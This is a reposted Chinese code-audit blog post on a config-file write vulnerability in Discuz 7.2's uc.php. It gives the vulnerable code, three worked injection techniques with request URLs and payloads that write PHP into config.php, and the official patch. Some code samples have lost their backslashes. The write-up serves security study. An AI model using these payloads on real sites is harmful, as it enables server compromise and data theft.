栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > PHP

[代码审计]-PHP配置文件写漏洞

PHP 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[代码审计]-PHP配置文件写漏洞

问题

阿里云安骑士报discuz 7.2版本的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏。

漏洞代码
function updateapps($get, $post) {
    ......    #行360
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;     //将POST收到子系统的uc_api写入配置文件,
    //对接收的参数增加addslashes避免直接输入[' | "] 闭包前面的符号,造成写任意代码
    $configfile = preg_replace("/define('UC_API',s*'.*?');/i",                    "define('UC_API', '".addslashes($UC_API)."');", $configfile);    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
    ......
}

最开始处理这个漏洞时,只是照着网上的方案修复了一下,未求甚解。直到最近看了P神的博客,突然茅塞顿开。照葫芦画瓢写下这个漏洞的利用方法。

后话:最好的修复方式应该是:与最新版系统对比不同。
此外,当有开源系统发布新版时,也可以通过查看diff高效的发现旧旧版本安全漏洞。

漏洞利用

假设对方已经获取了你的UC_KEY,可以使用Dz自带的_authcode方法发送任意的请求。将漏洞代码简化如下:

#读取配置,用请求参数中的UC_API替换文件内容,回写到文件中$file = file_get_contents('./config.php');$UC_API = $_REQUEST['uc_api'];$file = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '".addslashes($UC_API)."');", $file);

file_put_contents('./config.php', $file);
法1 (利用正则  .*? 的非贪婪匹配 )
#第一步:插入',并用//注释后面的代码http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//#config.php : 此时配置正常
      define('UC_API', 'aaa');phpinfo();//');#第二步:uc_api=任意内容,利用正则将两个['aaa']中的内容提换掉http://localhost/safe/conf_test.php?uc_api=ccb#confing.php:  掺入phpinfo 代码可执行
      define('UC_API', 'ccb');phpinfo();//');

OR,使用 %0a将代码折行注释

#第一步:插入',并折行注释后续代码http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//#config.php : 
      # define('UC_API', 'aaa');phpinfo();
      # //');#第二步同上
法2 (利用preg_replace 第二个参数,自动转义反斜线 '' )

preg_replace.png


正则替换的第二个参数会自动进行转义,将两个连续的\,转义为一个。 所以如果存在 {\'} 则会被转义为{\'},最后多出来一个{'}

#访问:
 http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//#config.php : 成功插入可执行代码
      define('UC_API', 'aaa\'); phpinfo(); //');
法3(利用正则n|$n,将第n个子组替换到文本中)
#正则替换子组功能示例$a = 'aa1234aa';
$b = preg_replace('/aa(d+)aa/', 'bb1bb', $a);echo $b;//输出: bb1234bb。 详细说明见上图preg_replace.png

%00 代表字符串Null,有各种文件相关的截断漏洞。 但addslashes( urldecode(%00) ) = ''。
在正则中'' 正好表示完整模式的匹配文本,可以用来利用。

#第一步:http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//#config.php : 
      define('UC_API', 'aaa);phpinfo();//');#第二步:uc_api=%00#confing.php:  
       define('UC_API', '【define('UC_API', 'aaa');】');phpinfo();//');#第三步:# todo,这个使用define来配置变量,在此处用%00这个方法不是很好实现漏洞利用,构造合规语法需要多次尝试。

下面套用一个简单的例子:



漏洞复现:#第一次传入:;phpinfo();
     #文件内容:$option=';phpinfo();';#第二次传入:%00
     #%00被addslashes()转为,而在preg_replace函数中会被替换为“匹配到的全部内容”,
     #此时preg_replace要执行的代码如下:
     preg_replace('|$option='.*';|',"$option='';",$file);     
     #文件内容: $option='$option=';  phpinfo(); ';';   #成功闭合
漏洞修复

官网修复方案:

//1. 先过滤掉POST参数中的特殊字符if($post['UC_API']) {
    $UC_API = str_replace(array(''', '"', '\', "", "n", "r"), '', $post['UC_API']);    unset($post['UC_API']);
        }

......//2. 写入文件前判断UC_API是否为url格式if(preg_match('/^https?:///is', $UC_API)) {
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    
    $configfile = preg_replace("/define('UC_API',s*'.*?');/i", 
                 "define('UC_API', '".addslashes($UC_API)."');", $configfile);    
    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
}



作者:晴空歌
链接:https://www.jianshu.com/p/ba8a1fbcfebc

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/228513.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号